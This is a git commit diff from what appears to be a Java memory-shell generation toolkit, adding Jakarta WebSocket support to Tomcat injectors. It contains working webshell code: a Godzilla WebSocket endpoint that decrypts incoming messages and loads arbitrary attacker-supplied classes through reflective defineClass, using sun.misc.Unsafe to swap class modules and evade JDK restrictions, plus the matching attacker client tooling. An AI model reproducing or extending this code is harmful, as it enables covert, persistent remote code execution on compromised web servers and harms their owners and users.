fix: Jakarta WebSocket not work

generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java

@@ -44,6 +44,7 @@ public class TomcatShell extends AbstractShell {
                 .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
                 .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
                 .addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
+                .addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
                 .build();
     }
 }

memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ServletRenameVisitorWrapper.java

@@ -46,7 +46,8 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
                 new Remapper() {
                     @Override
                     public String map(String typeName) {
-                        if (typeName.startsWith("javax/servlet/")) {
+                        if (typeName.startsWith("javax/servlet/")
+                                || typeName.startsWith("javax/websocket/")) {
                             return typeName.replaceFirst("javax", "jakarta");
                         } else {
                             return typeName;

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -94,6 +94,10 @@ public class TomcatWebSocketInjector {
     private void inject(Object obj, Object context) throws Exception {
         Object servletContext = invokeMethod(context, "getServletContext", null, null);
         Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
+        if (container == null) {
+            container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
+        }
+
         if (container == null) {
             return;
         }
@@ -104,8 +108,15 @@ public class TomcatWebSocketInjector {
         }
 
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
-        Class<?> serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
-        Class<?> builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
+        Class<?> serverEndpointConfigClass;
+        Class<?> builderClass;
+        try {
+            serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
+        } catch (ClassNotFoundException e) {
+            serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
+            builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
+        }
         Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
         constructor.setAccessible(true);
         Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

@@ -6,6 +6,8 @@ import javax.websocket.Endpoint;
 import javax.websocket.EndpointConfig;
 import javax.websocket.MessageHandler;
 import javax.websocket.Session;
+import java.io.ByteArrayOutputStream;
+import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
@@ -16,15 +18,35 @@ import java.net.URLClassLoader;
  */
 public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
     public static String key;
-
     private Session session;
-    private Class<?> payload;
+    private static Class<?> payload;
 
-    public Class<?> Q(byte[] classBytes) throws Throwable {
+    public Class<?> reflectionDefineClass(byte[] classBytes) throws Throwable {
+        Object unsafe = null;
+        Object rawModule = null;
+        long offset = 48;
+        Method getAndSetObjectM = null;
+        try {
+            Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+            Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
+            unsafeField.setAccessible(true);
+            unsafe = unsafeField.get(null);
+            rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
+            Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
+            Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
+            offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
+            getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
+            getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
+        } catch (Throwable ignored) {
+        }
         URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
         Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
         defMethod.setAccessible(true);
-        return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+        Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
+        if (getAndSetObjectM != null) {
+            getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
+        }
+        return clazz;
     }
 
     public byte[] x(byte[] s, boolean m) {
@@ -48,11 +70,11 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
         try {
             byte[] data = base64Decode(message);
             data = x(data, false);
-            if (payload == null) {
-                payload = Q(data);
+            if (payload == null || (data[0] == -54 && data[1] == -2)) {
+                payload = reflectionDefineClass(data);
                 session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
             } else {
-                java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
+                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                 Object obj = payload.newInstance();
                 obj.equals(data);
                 obj.equals(bos);
@@ -60,10 +82,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
                 session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
             }
         } catch (Throwable e) {
-            try {
-                session.close();
-            } catch (java.io.IOException ignored) {
-            }
+            e.printStackTrace();
         }
     }
 

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/BlockingJavaWebSocketClient.java

@@ -2,6 +2,7 @@ package com.reajason.javaweb.godzilla;
 
 import lombok.SneakyThrows;
 import org.java_websocket.client.WebSocketClient;
+import org.java_websocket.framing.CloseFrame;
 import org.java_websocket.handshake.ServerHandshake;
 
 import java.net.URI;
@@ -13,7 +14,7 @@ import java.util.concurrent.atomic.AtomicReference;
 public class BlockingJavaWebSocketClient extends WebSocketClient {
 
     private CountDownLatch connectLatch = new CountDownLatch(1);
-    private CountDownLatch responseLatch = new CountDownLatch(1);
+    private volatile CountDownLatch responseLatch;
     private final AtomicReference<String> responseMessage = new AtomicReference<>();
     private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
     private volatile boolean connected = false;
@@ -24,38 +25,125 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
 
     @Override
     public void onOpen(ServerHandshake handshake) {
+        System.out.println("连接成功");
         connected = true;
         connectLatch.countDown();
     }
 
-    @Override
     public void onMessage(String message) {
+        System.out.println("收到消息: " + message);
         responseMessage.set(message);
-        responseLatch.countDown();
+        if (responseLatch != null) {
+            responseLatch.countDown();
+        }
         close();
     }
 
-    @Override
     public void onMessage(ByteBuffer byteBuffer) {
+        System.out.println("收到字节消息: " + byteBuffer);
         responseBytesMessage.set(byteBuffer.array());
-        responseLatch.countDown();
+        if (responseLatch != null) {
+            responseLatch.countDown();
+        }
         close();
     }
 
-    @Override
     public void onClose(int code, String reason, boolean remote) {
-        responseLatch.countDown();
-        connectLatch.countDown();
+        System.out.println("连接关闭: " + code + " - " + reason);
         connected = false;
+        // Signal any waiting threads
+        if (responseLatch != null) {
+            responseLatch.countDown();
+        }
+        connectLatch.countDown();
     }
 
-    @Override
     public void onError(Exception ex) {
-        responseLatch.countDown();
-        connectLatch.countDown();
+        System.out.println("连接错误: " + ex.getMessage());
         connected = false;
+        // Signal any waiting threads
+        if (responseLatch != null) {
+            responseLatch.countDown();
+        }
+        connectLatch.countDown();
+        ex.printStackTrace();
     }
 
+    public String sendRequest(String message) throws InterruptedException {
+        // Connect if not already connected
+        if (!connected && !isOpen()) {
+            connect();
+            if (!connectLatch.await(5, TimeUnit.SECONDS)) {
+                throw new InterruptedException("Timeout during WebSocket connection.");
+            }
+        }
+
+        if (!connected || !isOpen()) {
+            throw new IllegalStateException("WebSocket connection is not open.");
+        }
+
+        // Reset response data and create new response latch for this request
+        responseMessage.set(null);
+        responseBytesMessage.set(null);
+        responseLatch = new CountDownLatch(1);
+
+        // Send the message
+        send(message);
+
+        // Wait for response
+        if (!responseLatch.await(10, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout waiting for WebSocket response.");
+        }
+
+        // Check if connection was closed during wait
+        if (!connected) {
+            throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
+        }
+
+        return responseMessage.get();
+    }
+
+    public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
+        // Connect if not already connected
+        if (!connected && !isOpen()) {
+            connect();
+            if (!connectLatch.await(5, TimeUnit.SECONDS)) {
+                throw new InterruptedException("Timeout during WebSocket connection.");
+            }
+        }
+
+        if (!connected || !isOpen()) {
+            throw new IllegalStateException("WebSocket connection is not open.");
+        }
+
+        // Reset response data and create new response latch for this request
+        responseMessage.set(null);
+        responseBytesMessage.set(null);
+        responseLatch = new CountDownLatch(1);
+
+        // Send the message
+        send(message);
+
+        // Wait for response
+        if (!responseLatch.await(10, TimeUnit.SECONDS)) {
+            throw new InterruptedException("Timeout waiting for WebSocket response.");
+        }
+
+        // Check if connection was closed during wait
+        if (!connected) {
+            throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
+        }
+
+        return responseBytesMessage.get();
+    }
+
+    public void disconnect() {
+        if (connected && isOpen()) {
+            close();
+        }
+    }
+
+
     @SneakyThrows
     public static String sendRequestWaitResponse(String entrypoint, String message) {
         BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
@@ -68,46 +156,6 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
         return blockingJavaWebSocketClient.sendRequest(message);
     }
 
-    public String sendRequest(String message) throws InterruptedException {
-        connect();
-        if (!connectLatch.await(5, TimeUnit.SECONDS)) {
-            throw new InterruptedException("Timeout during WebSocket connection.");
-        }
-        if (!connected) {
-            throw new IllegalStateException("WebSocket connection is not open.");
-        }
-
-        responseMessage.set(null);
-        connectLatch = new CountDownLatch(1);
-        responseLatch = new CountDownLatch(1);
-        send(message);
-
-        if (!responseLatch.await(5, TimeUnit.SECONDS)) {
-            throw new InterruptedException("Timeout waiting for WebSocket response.");
-        }
-        return responseMessage.get();
-    }
-
-    public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
-        connect();
-        if (!connectLatch.await(5, TimeUnit.SECONDS)) {
-            throw new InterruptedException("Timeout during WebSocket connection.");
-        }
-        if (!connected) {
-            throw new IllegalStateException("WebSocket connection is not open.");
-        }
-
-        responseBytesMessage.set(null);
-        connectLatch = new CountDownLatch(1);
-        responseLatch = new CountDownLatch(1);
-        send(message);
-
-        if (!responseLatch.await(5, TimeUnit.SECONDS)) {
-            throw new InterruptedException("Timeout waiting for WebSocket response.");
-        }
-        return responseBytesMessage.get();
-    }
-
     public static void main(String[] args) {
         String uri = "ws://localhost:8082/app/fuck";
         System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));

tools/godzilla/src/main/java/com/reajason/javaweb/godzilla/GodzillaManager.java

@@ -231,9 +231,11 @@ public class GodzillaManager implements Closeable {
             byte[] aes = aes(this.key, bytes, true);
             String base64String = Base64.encodeBase64String(aes);
             String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
-            byte[] x = aes(key, Base64.decodeBase64(response), false);
-            GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
-            return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
+            if(StringUtils.isNoneBlank(response)){
+                byte[] x = aes(key, Base64.decodeBase64(response), false);
+                GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
+                return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
+            }
         }
 
         return false;